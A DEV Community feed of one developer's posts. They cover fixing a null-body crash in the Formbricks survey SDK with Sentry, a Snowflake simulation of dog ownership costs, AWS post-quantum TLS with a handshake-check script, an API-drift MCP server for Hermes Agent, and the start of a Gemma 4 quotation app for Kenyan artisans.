DEV Community: Lewis Sawe

Fixing a null-body crash in the Formbricks survey SDK, found by Sentry

Lewis Sawe — Fri, 21 Aug 2026 15:38:37 +0000

This is a submission for DEV's Summer Bug Smash: Clear the Lineup powered by Sentry.
A survey widget should not be able to take down the page it is embedded on. This one could: a single API response with a null body threw an uncaught TypeError in the visitor's browser. Sentry's bot found it, filed it as a GitHub issue, and Seer pointed at the exact line. Here is the fix.

Project Overview

Formbricks is an open-source survey and experience-management platform. Websites and apps embed a small JavaScript SDK that loads a survey, shows it to a user, and posts the answers back to the Formbricks API. The SDK lives in the monorepo as two packages: @formbricks/js-core (the loader and command queue) and @formbricks/surveys (the survey renderer). Both talk to the backend through a shared makeRequest helper.

Bug Fix or Performance Improvement

I fixed issue #6581, a production crash that Sentry filed automatically:

Bug: API data is not always validated in the surveys package

TypeError: Cannot read properties of null (reading 'data')

The issue was opened automatically by sentry[bot], and its body carries the Sentry-captured (minified) stack trace plus a link to the source event, FORMBRICKS-CLOUD-3VE. Sentry did not just record this crash, it reported it.

The SDK calls makeRequest to load a workspace's environment state. That code parsed the HTTP response and immediately read .data off the result:

const json = (await response.json()) as ApiResponse;
// ...
const successResponse = json as ApiSuccessResponse<T>;
return ok(successResponse.data);

Two things go wrong here:

response.json() on a body of literal null returns JavaScript null. Reading null.data throws TypeError: Cannot read properties of null (reading 'data'). The error path had the same problem one line up: errorResponse.code on a null body throws reading 'code'.
response.json() is not guarded at all. A non-JSON body (an empty response, or an HTML error page from a proxy or CDN) makes it throw an unhandled SyntaxError.

Both happen on the survey load path, in the visitor's browser, where there is no try/catch above them. Any visitor whose environment fetch returns a null or non-JSON body (a partial response, or an HTML error page from a proxy or CDN) hits this: the survey does not just fail to open, the SDK throws and the crash propagates into the host page. This is the exact issue Sentry surfaced as FORMBRICKS-CLOUD-3VE.

The same makeRequest is duplicated in @formbricks/surveys (src/lib/utils.ts) with the identical bug, so I fixed both.

Code

PR (on my fork, merged): https://github.com/lewisawe/formbricks/pull/1

Formbricks' contributing guide says they do not take unsolicited community PRs except in rare cases, and the challenge accepts a fork PR, so I opened and merged this on my own fork instead of adding noise upstream.

Files changed:

packages/js-core/src/lib/common/api.ts
packages/js-core/src/lib/common/tests/api.test.ts
packages/surveys/src/lib/utils.ts
packages/surveys/src/lib/utils.test.ts

The core change:

const response = res.data;

// Guard 1: never let response.json() throw an unhandled SyntaxError.
const parsedJson = await wrapThrowsAsync(() => response.json() as Promise<ApiResponse>)();

if (!parsedJson.ok) {
  return err({
    code: "network_error",
    status: response.status,
    message: "Failed to parse response body as JSON",
    url,
  });
}

const json = parsedJson.data;

if (!response.ok) {
  const errorResponse = json as ApiErrorResponse | null;
  return err({
    code: errorResponse?.code === "forbidden" ? "forbidden" : "network_error",
    status: response.status,
    message: errorResponse?.message || "Something went wrong",
    url,
    ...(Object.keys(errorResponse?.details ?? {}).length > 0 && { details: errorResponse?.details }),
  });
}

// Guard 2: validate the data envelope before reading `.data`.
const successResponse = json as ApiSuccessResponse<T> | null;

if (successResponse === null || successResponse.data === undefined || successResponse.data === null) {
  return err({
    code: "network_error",
    status: response.status,
    message: "Received invalid response data from the server",
    url,
  });
}

return ok(successResponse.data);

My Improvements

I kept the change small and inside the existing error model. makeRequest already returns a Result<T, ApiErrorResponse> and the codebase has a wrapThrowsAsync helper that turns a throwing async call into a Result. I used both so the fix reads like the rest of the file:

Parsing can't crash anymore. response.json() runs through wrapThrowsAsync. Bad JSON becomes a network_error Result, not an exception.
The error path is null-safe. Optional chaining on errorResponse means a null error body no longer throws while trying to build the error.
The success path validates before reading. A null body, a non-object body, or a missing data field returns a typed network_error instead of throwing. Callers already handle failed Results, so the SDK degrades quietly instead of crashing the page.

For tests I extended the existing suites rather than adding new files, matching the project's convention of colocated unit tests:

packages/js-core: 11 to 15 tests in api.test.ts.
packages/surveys: added a makeRequest block, 76 to 80 tests in utils.test.ts.

Verification:

With the fix: 295/295 js-core tests pass, 80/80 surveys utils tests pass, tsc and ESLint are clean, and turbo build builds both packages.
Run against the actual unmodified Formbricks module (I reverted the fix with git stash and re-ran), the four new tests fail with exactly the reported errors: Cannot read properties of null (reading 'data'), reading 'code', and the unhandled SyntaxError. This is the definitive proof, it pins the real bug in the real code, not a rephrasing. The Sentry harness below uses a faithful standalone copy of that same function so it can run without building the monorepo.

Best Use of Sentry

Sentry is what made this bug findable. It was auto-filed by sentry[bot] as issue #6581, linking the source event FORMBRICKS-CLOUD-3VE, and the grouped title, Cannot read properties of null (reading 'data'), is specific enough to trace straight to the .data read in makeRequest.

To confirm the root cause and verify the fix, I built a small Sentry-instrumented harness that reproduces the crash without needing production traffic (the challenge's suggested workflow). It initializes @sentry/node, overrides fetch to return a 200 with a null body, and calls a faithful copy of the pre-fix makeRequest. Running it throws the same TypeError, and Sentry captures it:

=== Running makeRequest in "buggy" mode against a null-body 200 response ===
UNHANDLED CRASH: TypeError: Cannot read properties of null (reading 'data')
[Sentry capture] TypeError: Cannot read properties of null (reading 'data')

The screenshots below are from that harness (the stack frames show buggy-api.mjs), not from Formbricks' production Sentry, which I have no access to. Here is the crash grouped in Sentry:

The stack trace points straight at the unguarded .data read in makeRequest:

I enriched each event with tags and context, so the issue is traceable back to the original report:

Then I ran Seer, Sentry's AI root-cause analysis, on the captured issue. It independently reached the same conclusion I did: makeRequest parses the body and reads .data with no null guard, so a 200 with a null body throws. Seer located the exact line, named the fix (add a null check on the parsed response before reading .data), and summed up the root cause in one line: the client trusts the JSON body is a non-null object, but the server can return null.

After the fix, the formbricks-6581@fixed release runs the same null-body response through makeRequest. The TypeError is gone. But rather than let the failure vanish into silence, I instrument the recovery: the handled path emits a warning-level Sentry event tagged outcome=handled_degrade, so Sentry shows the failure mode as controlled instead of fatal. The same input that was an error-level crash before the fix is now a warning-level "handled" signal:

=== Running makeRequest in "fixed" mode against a null-body 200 response ===
makeRequest returned a Result (no crash): {"ok":false,"error":{"code":"network_error","status":200,...}}
Graceful failure -> code="network_error", message="Received invalid response data from the server"
[Sentry capture] Survey load received invalid response data; degraded gracefully (no crash)

Stated as an invariant in Sentry terms: for this input, makeRequest must never raise an error-level event; at worst it emits a handled warning. That is the difference the fix makes, made observable.

Because the real crash happens in a visitor's browser, I also built a browser reproduction that loads the survey with @sentry/browser and the Replay integration, so Sentry records a Session Replay of the page crashing on survey load. You can watch the exact sequence: the widget starts loading, the null-body response comes back, and the survey fails.

To be precise about the roles: Sentry found this bug (the sentry[bot] issue), Seer explained it, and Session Replay, the trace, and the handled-degrade signal verified the fix. Code inspection and the failing tests are what proved the root cause. I am not claiming Sentry wrote the fix, I am showing where each Sentry tool earned its place in the loop.

Sentry tools used: Error Monitoring (found and grouped the crash), Session Replay (recorded the crash in the browser, the SDK's real environment), Breadcrumbs and custom Tags/Context (traced the event back to issue #6581 / FORMBRICKS-CLOUD-3VE), Distributed Tracing (each call wrapped in a named makeRequest span), and Seer (AI root-cause analysis that independently confirmed the fix).

The reproduction harness (Node and browser) is public here: https://github.com/lewisawe/sentry-repro

What This Dog Actually Costs

Lewis Sawe — Sun, 16 Aug 2026 16:31:31 +0000

This is a submission for Weekend Challenge: Dog Days Edition

What I Built

What This Dog Actually Costs estimates the lifetime cost of owning a dog by breed, and shows it as a probability distribution instead of a single number.

Every "cost of a dog" article gives you one figure. "About $30,000 over its life." That number is useless the moment you look at a real dog. Breeds are wildly different, and the cost is not fixed. It is a gamble. Most owners pay in a normal range. Some get hit with a $6,000 hip surgery or a cancer bill in year eight. A single average hides the entire risk.

So I built a tool that shows the shape of the bet before you take it. Pick a breed and you see the median, the typical range, and the expensive tail nobody budgets for. It runs on a Monte Carlo simulation of 10,000 dog-lifetimes per breed, 300,000 simulated lives in total, computed in Snowflake SQL.

Four things it does:

The distribution. The full spread of outcomes for a breed, with the tail past $40,000 shaded red so you can see how likely a very expensive dog really is.
Roll a life. A button that pulls one random simulated dog out of Snowflake and narrates its whole life: which conditions hit, at what age, and the running total. Abstract odds become one dog's story.
A scenario lab. Two sliders, deductible and coinsurance, that make Snowflake re-run the numbers live to answer "is insurance worth it for this breed?" There is an adopt-versus-buy toggle too.
A leaderboard. All 30 breeds ranked by cost, tail risk, or cost per year.

Demo

🎥 Video walkthrough:

And to try it yourself on streamlit

🔗 Live App - mutina.streamlit.app

The surprise the simulation kept handing me: the safe, popular choice is the expensive one. All figures are uninsured, pay-as-you-go, in US dollars.

The two most popular family dogs in America are also the priciest to own. A Labrador Retriever runs a median of about $32,700 over its life, and a Golden Retriever about $32,650. The Golden has the fattest tail of any breed I modeled: nearly 1 in 5 tops $40,000, driven mostly by cancer.
A Great Dane looks like the scary one, but it is not the villain. It costs the most per year to run, about $3,400, yet lives only ~9 years, so its lifetime median lands mid-pack near $30,300. A short life is not a cheap one, but a long healthy one with cancer risk costs even more.
A French Bulldog sits at a median of about $22,500, with a typical range of $15,000 to $32,000. The three-lives view makes the spread concrete: a lucky one costs about $13,900, a median one $22,500, a nightmare one $35,200.
A Border Collie lives long yet stays predictable: a median around $24,000 and only about a 3% chance of topping $40,000.
Nearly half of Cavalier King Charles Spaniels develop mitral valve disease. You can watch that single condition bend the whole distribution.
The affordability test is the blunt one. At $75/month saved and a $1,500 emergency fund, there is a 74% chance a French Bulldog hands you a year you can't cover. Its median worst year is about $5,150. Raise the fund and watch the number fall.

The distribution, not a single number. Everything past $40,000 is shaded red.

Same breed, three real simulated dogs: $23,410, $32,710, and $44,626.

Move a slider and Snowflake re-runs all 10,000 lives, then hands you a verdict.

Code

lewisawe / Dog-Days

What This Dog Actually Costs

Estimate the lifetime cost of owning a dog by breed, shown as a probability distribution instead of a single number. The estimates come from a Monte Carlo simulation of thousands of dog-lifetimes run in Snowflake SQL.

Built for the DEV Weekend Challenge: Dog Days Edition.

How it works

Three input tables (breeds, health conditions, breed-condition risk) are loaded into Snowflake from CSV.
sql/03_simulation.sql simulates 10,000 dog-lifetimes per breed. Each simulated dog draws its own lifespan, accrues care costs each year (senior years weighted higher), and rolls the dice on the health conditions its breed is prone to.
The Streamlit app reads the result tables and shows the cost distribution, the headline numbers, and the top cost drivers per breed. It also narrates individual simulated lives (three percentile lives plus a random "roll a life"), stress-tests a budget against every dog's worst year, and runs a…

View on GitHub

The pieces:

data/: the dataset (30 breeds, 16 conditions, breed-specific risk), plus SOURCES.md documenting every assumption.
sql/01_schema.sql, 02_load.sql, 03_simulation.sql: the schema and data load, then the Monte Carlo simulation. load_data.py runs the whole pipeline against a fresh Snowflake trial in one command.
streamlit_app.py: the app. It runs as a Streamlit-in-Snowflake app on the active session, or locally against your account, with no code changes.

How I Built It

The data. 30 popular breeds, 16 health conditions, and the breed-specific lifetime probability of each. Lifespans lean on the Royal Veterinary College's VetCompass 2024 life tables. Treatment and care costs use US insurer claims data and vet ranges (hip dysplasia treatment averages around $5,200, for example). Every figure is a documented, honest planning estimate, not a quote.

Snowflake is the engine, not just storage. The interesting work is the simulation, and it runs in SQL. GENERATOR fans each breed out into 10,000 rows. NORMAL and UNIFORM draw each dog's lifespan and roll its disease risks year by year. PERCENTILE_CONT collapses 300,000 simulated dog-lives into medians and tails. It builds in a few seconds on an XS warehouse.

The core:

-- one row per simulated dog: draw a lifespan around the breed median
CREATE OR REPLACE TABLE sim_dogs AS
SELECT
    b.breed_name,
    ROW_NUMBER() OVER (PARTITION BY b.breed_name ORDER BY RANDOM()) AS sim_id,
    GREATEST(1, LEAST(20,
        ROUND(b.lifespan_median + b.lifespan_sd * NORMAL(0, 1, RANDOM())))) AS lifespan_years,
    (b.annual_food + b.annual_routine_vet + b.annual_preventatives) AS annual_baseline,
    b.puppy_setup, b.purchase_price
FROM breeds b
CROSS JOIN TABLE(GENERATOR(ROWCOUNT => 10000)) g;

One gotcha worth flagging: Snowflake's NORMAL(mean, stddev, gen) needs mean and stddev to be constants. You cannot pass columns. The fix is to draw a standard normal and scale it yourself: median + sd * NORMAL(0, 1, RANDOM()).

Two modeling choices worth stating. Routine care is age-weighted: the last up to three years of a dog's life cost 40% more, since senior dogs need more vet visits and medication. And the headline number is deliberately uninsured, pay-as-you-go. Insurance isn't baked into the base cost (that would double-count premiums against out-of-pocket bills). Instead it lives in the scenario tab as an explicit choice.

The scenario lab uses Snowflake live. The insurance question is not precomputed. When you move the deductible or coinsurance slider, the app fires a parameterized query that recomputes uninsured versus insured cost across all 10,000 lives and returns two fresh distributions plus a verdict. The answer changes by breed: for a high-risk breed insurance shrinks the tail and pays for itself; for a low-risk one the premiums outrun the payouts.

Trust the SQL by reimplementing it. I wrote a pure-Python mirror of the model and a DuckDB mirror, then confirmed all three land on the same medians. When an independent reimplementation agrees, the warehouse math is sound.

The affordability panel stress-tests your budget against every simulated dog's worst year.

The app is Streamlit, reading the result tables. It detects its environment: inside Snowflake it uses the active Snowpark session, and locally it uses the Python connector.

Prize Categories

Best Use of Snowflake. Snowflake is the compute engine. The Monte Carlo simulation, the percentile math, and the live insurance scenarios all run as SQL in the warehouse. The app connects to Snowflake for every view. It runs either as a Streamlit-in-Snowflake app on the active session, or on Streamlit Cloud against a dedicated read-only Snowflake user with a warehouse credit cap.

Every breed ranked. The Labrador and the other popular family dogs sit at the top.

Quantum Computers Can't Break Your Encryption Yet. "Yet" Is the Problem.

Lewis Sawe — Mon, 03 Aug 2026 16:26:46 +0000

Right now, someone could be copying your encrypted traffic off the wire and storing it. They can't read it. The TLS session protecting your database credentials, your API secrets, and your customer data in transit is safe against every computer that exists today.

They don't need to read it today. They need to read it in 2032, when a large enough quantum computer runs Shor's algorithm and unwinds the elliptic-curve math that TLS uses to agree on a session key. The ciphertext they harvested this morning gets decrypted the moment that hardware arrives.

This is the "harvest now, decrypt later" threat, and it's a today problem for any data that stays sensitive for years. AWS has been rolling out the fix across its services, and the interesting part is how quiet it's been. If you connect to AWS Secrets Manager with a current client, your handshake is already post-quantum. Most people never noticed the switch.

Here's what changed, why it matters, and a demo you can run in ten seconds to see it on your own connections.

Why "Later" Is Closer Than the Headlines Suggest

The usual objection: no quantum computer today can crack a P-256 handshake. True. Current machines have a few hundred noisy qubits. Breaking modern key agreement needs millions of stable ones, which is years away, maybe more than a decade.

The timeline that matters isn't when the quantum computer shows up. It's the sum of three numbers:

How long your data must stay confidential (X years)
How long your migration to quantum-safe crypto takes (Y years)
How long until a cryptographically relevant quantum computer exists (Z years)

This is Mosca's inequality. If X + Y > Z, you're already late. A database credential might rotate in 90 days, so its X is tiny. But regulatory records, health data, and long-lived encryption keys can carry a confidentiality requirement measured in decades. For that data, an adversary who records the handshake today wins later, no matter how far off "later" turns out to be.

The weak point is the key agreement, not the bulk encryption. AES-256 holds up fine against quantum attacks. Grover's algorithm only halves its effective strength, and 128 bits of post-quantum security is still unbreakable. The problem is the asymmetric step at the start of every connection, where client and server use elliptic-curve Diffie-Hellman to agree on the symmetric key. Shor's algorithm eats ECDH for breakfast. Recover the key agreement, recover the session key, decrypt everything that flowed over it.

So the fix targets exactly that step.

What AWS Deployed: ML-KEM in a Hybrid Handshake

The new algorithm is ML-KEM, the Module-Lattice-Based Key-Encapsulation Mechanism, standardized by NIST as FIPS 203 in 2024. Its security rests on lattice problems that no known quantum algorithm solves efficiently. If you followed this earlier, you knew it as CRYSTALS-Kyber. Kyber was the pre-standard draft. ML-KEM is the finished version, and AWS is removing Kyber support from its endpoints in 2026 in favor of it.

The design choice worth understanding is the word "hybrid." AWS didn't rip out elliptic curve and drop in ML-KEM alone. The handshake negotiates both at once: X25519 for the classical part and ML-KEM-768 for the post-quantum part, combined into a single group labeled X25519MLKEM768. Both key exchanges run, and their shared secrets get mixed together to derive the session key.

Why keep the old one? Because ML-KEM is new. Lattice cryptography has held up under scrutiny, but "held up so far" isn't the decades of battle-testing that X25519 has behind it. If someone breaks ML-KEM tomorrow, the hybrid handshake is still as strong as classical X25519, which is what you run today anyway. If a quantum computer arrives, the ML-KEM half holds. You have to break both halves to lose. It's a hedge, and it's the right one.

This runs on AWS's open-source crypto stack: AWS-LC for the primitives and s2n-tls for the TLS implementation. AWS-LC was the first open-source cryptographic module to get ML-KEM into a FIPS 140-3 validation, which matters if your compliance requirements only accept validated modules.

Support landed first, back in April 2025, on the three services carrying the most confidentiality-critical traffic: KMS, ACM, and Secrets Manager. Since then it has spread. Run the demo below and you'll find it negotiated on S3, DynamoDB, and EC2 endpoints too. AWS committed to deploying ML-KEM to every service with an HTTPS endpoint, and by mid-2026 that rollout is well underway.

The Part Everyone Gets Wrong: This Is Shared Responsibility

Here's the trap. AWS turning on ML-KEM at the endpoint does nothing for you by itself. The server only speaks post-quantum if the client offers it first. Your SDK, your TLS library, your client, that's the side that has to propose X25519MLKEM768 in the ClientHello. If your client offers only classical curves, the handshake stays classical and your traffic is still harvestable, no matter how ready the server is.

So the migration is your client fleet, not the AWS side. The good news is that for the flagship path, AWS already made the default decision for you. As of April 2026, these Secrets Manager clients enable hybrid post-quantum TLS out of the box:

The Workload Credentials Provider (formerly the Secrets Manager Agent) v2.0.0 and later
The Secrets Manager Lambda extension v19 and later
The Secrets Manager CSI Driver v2.0.0 and later

On those versions you're done. No code change, no flag. Upgrade the client and the handshake goes post-quantum.

For direct SDK usage, support exists in the AWS SDKs for Rust, Go, Node.js, Kotlin, Python, and Java v2, each with its own minimum version. Some enable it automatically, some need a flag. Java v2 is the explicit case. You need the AWS Common Runtime HTTP client, version 2.30.22 or later, and you turn it on:

// Maven: software.amazon.awssdk:aws-crt-client:2.30.22 (or later)

SdkAsyncHttpClient crtClient = AwsCrtAsyncHttpClient.builder()
        .postQuantumTlsEnabled(true)
        .build();

KmsAsyncClient kms = KmsAsyncClient.builder()
        .httpClient(crtClient)
        .build();

// This call now negotiates X25519MLKEM768
kms.listKeys().get();

The Rust SDK uses rustls. Add the crate and turn on the prefer-post-quantum feature flag, and the client offers ML-KEM automatically. Across every language the rule is the same: the endpoint is ready, but the algorithm only gets used if your client asks for it. Auditing client and SDK versions is the actual work.

The Demo: See It on Your Own Connections

You don't need an AWS account to watch a post-quantum handshake happen. You need OpenSSL 3.5 or later, which added X25519MLKEM768 as a default group. Check your version first:

$ openssl version
OpenSSL 3.5.7 9 Jun 2026

Now force the handshake to use only the hybrid group and look at what gets negotiated:

$ echo | openssl s_client -connect secretsmanager.us-east-1.amazonaws.com:443 \
    -groups X25519MLKEM768 2>/dev/null | grep "Negotiated TLS1.3 group"
Negotiated TLS1.3 group: X25519MLKEM768

That's it. The server accepted the post-quantum group and the handshake completed. I ran the same check across a handful of endpoints and every one came back post-quantum:

kms.us-east-1.amazonaws.com            Negotiated TLS1.3 group: X25519MLKEM768
acm.us-east-1.amazonaws.com            Negotiated TLS1.3 group: X25519MLKEM768
secretsmanager.us-east-1.amazonaws.com Negotiated TLS1.3 group: X25519MLKEM768
dynamodb.us-east-1.amazonaws.com       Negotiated TLS1.3 group: X25519MLKEM768
s3.amazonaws.com                       Negotiated TLS1.3 group: X25519MLKEM768
ec2.us-east-1.amazonaws.com            Negotiated TLS1.3 group: X25519MLKEM768

Here's a small script to check your own list. Point it at any endpoint your workloads talk to:

#!/usr/bin/env bash
# pq-check.sh: verify an endpoint negotiates post-quantum TLS
# requires OpenSSL 3.5+

endpoints=(
  kms.us-east-1.amazonaws.com
  secretsmanager.us-east-1.amazonaws.com
  s3.amazonaws.com
)

for ep in "${endpoints[@]}"; do
  group=$(echo | openssl s_client -connect "$ep:443" \
            -groups X25519MLKEM768 2>/dev/null \
          | sed -n 's/^Negotiated TLS1.3 group: //p')
  if [ "$group" = "X25519MLKEM768" ]; then
    printf '%-45s PQ-TLS ✓  (%s)\n' "$ep" "$group"
  else
    printf '%-45s classical or handshake failed\n' "$ep"
  fi
done

One caveat this demo hides: OpenSSL is not the client running in production. It proves the endpoint supports post-quantum. It says nothing about whether your application's SDK actually offered it. For that, you verify real traffic.

Every API call to KMS, ACM, and Secrets Manager logs a tlsDetails block in CloudTrail, and inside it is a keyExchange field. When the connection used post-quantum TLS, it reads X25519MLKEM768. Pull a recent event and check:

aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventSource,AttributeValue=secretsmanager.amazonaws.com \
  --max-results 1 \
  --query 'Events[0].CloudTrailEvent' --output text \
  | python3 -c 'import json,sys; e=json.load(sys.stdin); print(e.get("tlsDetails"))'

If that field comes back X25519MLKEM768, your real client negotiated post-quantum. If it shows X25519 or a P-curve while OpenSSL said the endpoint supports it, something between your app and AWS downgraded the connection. That's the signal to go looking, and it usually points at one thing.

The Silent Failure Mode: Middleboxes

The most common reason a post-quantum handshake quietly falls back to classical is a middlebox. Some deep-packet-inspection firewalls, load balancers, and proxies choke on the larger ClientHello or on TLS extensions they don't recognize. They either drop the connection or strip it down to something they understand.

The hybrid handshake is bigger for a reason. Moving from ECDH-only to ECDH plus ML-KEM adds roughly 1,600 bytes to the handshake and 80 to 150 microseconds of extra compute for the ML-KEM operations. That's a one-time cost at connection setup. But 1,600 extra bytes is enough to trip a poorly written middlebox that assumed handshakes fit in one packet.

This is why the CloudTrail check matters more than the OpenSSL check. Your endpoint can be ready, your SDK can be current, and a firewall in the middle can still be handing you classical crypto without a single error in your logs. Better to catch that in a query today than in an audit three years from now.

"But What About Performance?"

The reflexive worry with any crypto change is latency. Post-quantum key exchanges are bigger, and bigger sounds slower.

Here are AWS's published numbers, measured against KMS GenerateDataKey from an EC2 client in the same Region:

With TLS connection reuse (the SDK default): throughput went from 216.1 to 216.0 transactions per second. A 0.05 percent difference. Noise.
Without connection reuse (a fresh handshake for every request, which you should never do): throughput dropped from 108.7 to 106.2 TPS, about 2.3 percent, and that's the pathological worst case.

If you reuse connections, and every well-configured SDK does by default, enabling post-quantum TLS is effectively free. The larger handshake is a startup cost paid once per connection, then amortized across every request on it. The "it'll slow us down" objection doesn't survive contact with the measurements.

What to Actually Do This Week

You don't need a quantum computer to act, and you don't need a six-month project either.

Run pq-check.sh against the endpoints your workloads hit. Ten minutes tells you which servers are ready. Most AWS endpoints already are.
Upgrade the easy wins. Workload Credentials Provider (formerly Secrets Manager Agent), Lambda extension, or CSI Driver on their current major versions turn on post-quantum TLS with zero code change.
Enable the flag where it's opt-in, like postQuantumTlsEnabled(true) on the Java CRT client or prefer-post-quantum in Rust.
Verify real traffic with CloudTrail. Check tlsDetails.keyExchange reads X25519MLKEM768. If it doesn't while the endpoint supports it, hunt the middlebox.
Prioritize by data lifetime. Traffic carrying data that must stay secret for years is where harvest-now-decrypt-later actually bites. Migrate that first.

The quantum computer that breaks P-256 isn't here. The adversary recording your handshakes so they can decrypt them when it arrives might already be. The defense costs you a client upgrade and, in the best case, nothing else. A real threat, a cheap fix, and a vendor that already did the hard part. The only way to lose is to leave it off.

*Sources: *

AWS Security Blog, "ML-KEM post-quantum TLS now supported in AWS KMS, ACM, and Secrets Manager" (April 2025);

AWS Security Blog, "Protecting your secrets from tomorrow's quantum risks" (April 2026);

NIST FIPS 203. OpenSSL handshake output and endpoint results were captured live with OpenSSL 3.5.7.

Benchmark figures are AWS-published measurements for KMS GenerateDataKey and vary with instance type, workload, and network path.

I taught Hermes Agent to predict which API changes will break my system

Lewis Sawe — Sun, 31 May 2026 17:30:59 +0000

This is a submission for the Hermes Agent Challenge: Build With Hermes Agent

What I Built

Drift Detective is an MCP server that turns Hermes Agent into an API contract mutation tracker. It probes your microservices on a cron schedule, stores response shapes (fields, types, nesting depth), and classifies changes when they happen: additive, breaking, or cosmetic.

The interesting part: it learns. After you mark a few changes as "safe" or "breaking," it starts predicting. Week one it's noisy. Week three it knows that your payments service adding nullable fields is always fine, but your auth service changing any field name will break downstream consumers.

Demo

The demo runs against a local API server with four mutation stages:

Stage 1 (baseline): Agent records the shape of /api/users, /api/payments, /api/health.

Stage 2 (additive change): New fields appear. Agent flags them as low-urgency additive drift. I mark them "safe."

Stage 3 (breaking change): Fields get renamed and removed. Agent flags these as high-urgency breaking drift. I mark them "breaking."

Stage 4 (prediction fires): More fields get removed. This time the agent predicts "likely breaking" before I say anything. It recognized the removal pattern from my stage 3 feedback.

After a few interactions the alert quality is visibly different from probe 1. That's the whole point.

Code

lewisawe / drift-detective

Drift Detective

API contract mutation tracker that learns what breaks things.

Drift Detective probes your APIs on a schedule, stores response shapes, detects structural changes, and classifies them. It learns YOUR system's patterns from your feedback. Alerts get smarter, not noisier.

What It Does

Probes API endpoints, extracts JSON response shape (field names, types, nesting)
Detects shape changes between probes
Classifies changes: additive (new field) or breaking (removed/renamed/type-changed)
Learns from your feedback. Mark changes as "safe" or "breaking" and it remembers.
Predicts future changes using accumulated knowledge

Hermes Features Used

Feature	How
MCP Server	Custom stdio server providing probe/classify/learn tools
Cron Scheduler	Periodic endpoint probing, no manual intervention
Persistent Memory	Endpoints, shapes, and learned patterns survive across sessions
Learning Loop / Skills	Writes skill docs about your system's change patterns
AGENTS.md Context	Defines alert behavior and classification rules

Demo Walkthrough

1. Start the demo API

python demo/api_server.py

Local API with…

View on GitHub

My Tech Stack

Drift Detective's stack:

Python 3.11+ (runtime)
MCP SDK (mcp>=1.0.0) for the stdio server protocol
httpx for probing API endpoints
SQLite for persistence (shapes, history, learned patterns)
Hermes Agent as the orchestrator (MCP client, cron, memory)
Demo API: stdlib http.server (no dependencies)

How I Used Hermes Agent

This isn't a wrapper that calls the LLM once. Five Hermes capabilities do actual work here:

MCP Server (custom stdio): The core engine. Five tools: probe_endpoint, list_endpoints, get_drift_history, record_verdict, get_learned_patterns. All state lives in SQLite. The agent reasons about when and how to call them.

Cron Scheduler: Fires every 30 minutes (configurable). The agent probes all registered endpoints, compares shapes, and delivers a report to Telegram/Discord/wherever you talk to it. No human in the loop for routine checks.

Persistent Memory: Endpoint registry, shape history, and learned patterns survive across sessions. The agent picks up where it left off even after a restart.

Learning Loop / Skills: When the agent accumulates enough feedback, it writes a skill document describing your system's change patterns. That skill loads into future sessions, giving the agent prior context before it even runs a probe.

AGENTS.md Context: Defines classification rules, alert urgency levels, and when to include predictions vs. ask for feedback. Shapes the agent's behavior without touching code.

How It Works (Technical)

The MCP server extracts a structural "shape" from any JSON response:

{"users": [{"id": 1, "name": "Alice"}], "total": 1}

Becomes:

$.total         → integer
$.users[]       → array
$.users[].id    → integer  
$.users[].name  → string

When a shape changes, the diff engine classifies each field-level change:

New field added → additive
Field removed or renamed → breaking
Type changed (string→integer) → breaking

The learning system stores verdicts keyed by endpoint + change category. After one verdict for a pattern, predictions fire on the next similar change. It generalizes: if "removed field: name" was breaking, then "removed field: email" on the same endpoint gets the same prediction. The patterns are simple and domain-specific, so one data point is enough to be useful.

What I'd Build Next

Webhook mode: listen for deploy events from CI/CD, probe immediately after deploys
Consumer registry: know which downstream services depend on which fields, route alerts accordingly
Schema diffing beyond JSON: gRPC protobuf changes, GraphQL schema introspection
Multi-endpoint correlation: "every time auth-service changes, payments-service breaks 2 hours later"

Source Code

GitHub link

drift-detective/
├── mcp_server/server.py          # MCP server with probe/classify/learn tools
├── demo/api_server.py            # Mutable demo API
├── skills/drift-detective-patterns.md
├── AGENTS.md
└── pyproject.toml

Install: pip install -e ., add the MCP config to ~/.hermes/config.yaml, done.

I Built a Quotation Generator for Kenyan Street Welders Using Gemma 4's Vision

Lewis Sawe — Sun, 24 May 2026 23:11:19 +0000

This is a submission for the Gemma 4 Challenge: Build with Gemma 4

What I Built

A customer walks up to a welder in Nairobi with a Pinterest screenshot. "I want this gate. How much?"

The welder squints at the phone. Does mental math. Guesses a number. Scribbles it on a scrap of cardboard. No material breakdown. No line items. The customer walks away and finds someone who looks more professional.

This happens thousands of times a day across Kenya's jua kali sector. "Jua kali" translates to "hot sun." It's what we call the 15 million informal artisans who build gates, furniture, window frames, and cabinets outdoors. They're skilled fabricators who lose work because they can't produce a quote on the spot.

Jua Kali Quote fixes this. Photograph whatever the customer shows you: a sketch on paper, a screenshot from Instagram, a photo of their neighbor's gate. Gemma 4 looks at the image, figures out what needs to be built, and generates a full quotation with materials, quantities, and pricing in Kenyan Shillings.

The fundi taps any line item to adjust a price they know better. The totals recalculate live. They hit "Share on WhatsApp," and the customer has a professional quote in their chat. The whole interaction takes under a minute.

Every quote is saved locally, so the fundi builds a history of past jobs they can reference for repeat customers or similar work.

A confidence indicator tells them upfront: "materials ±15%, labor ±20%." Honest about what's an estimate and what's exact.

It handles welding, carpentry, masonry, plumbing, electrical, and painting jobs.

Demo

Code

lewisawe / jua-kali

Jua Kali Quote

AI-powered quotation generator for Kenyan artisans (fundis). Upload a photo of a sketch, Pinterest screenshot, or reference image and get a professional quotation with materials, labor, and pricing in KES.

Built with Gemma 4 26B A4B (MoE) via Google AI Studio.

Setup

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Copy .env.example to .env and add your Google AI Studio API key:

cp .env.example .env

Get a free API key at https://aistudio.google.com/apikey

Run

source venv/bin/activate
uvicorn main:app --host 0.0.0.0 --port 8000

Open http://localhost:8000

How it works

Upload a photo (sketch, Pinterest screenshot, catalog image, existing item)
Select the trade (welding, carpentry, masonry, etc.)
Gemma 4 analyzes the image and generates a structured quotation
Edit any line item price if needed
Share via WhatsApp or print as PDF

Stack

Python + FastAPI
Gemma 4 26B A4B IT (Google AI Studio API)
Vanilla HTML/CSS/JS (mobile-first)
localStorage for…

View on GitHub

How I Used Gemma 4

I went with Gemma 4 26B A4B, the Mixture-of-Experts variant. Three reasons.

Vision that understands intent, not just pixels. The model doesn't just see "a rectangle with vertical lines." It recognizes that's a gate design with panels, estimates it at roughly 12 feet wide, and knows that means four hinges, not two. It reads hand-drawn sketches and blurry phone screenshots equally well.

Reasoning that produces consistent numbers. This isn't image captioning. The model estimates material quantities, looks up realistic Kenyan prices (square tubes at KES 3,500, electrodes at KES 1,500, fundi day rate at KES 1,200), then adds everything up correctly. The grand total actually matches the sum of its parts.

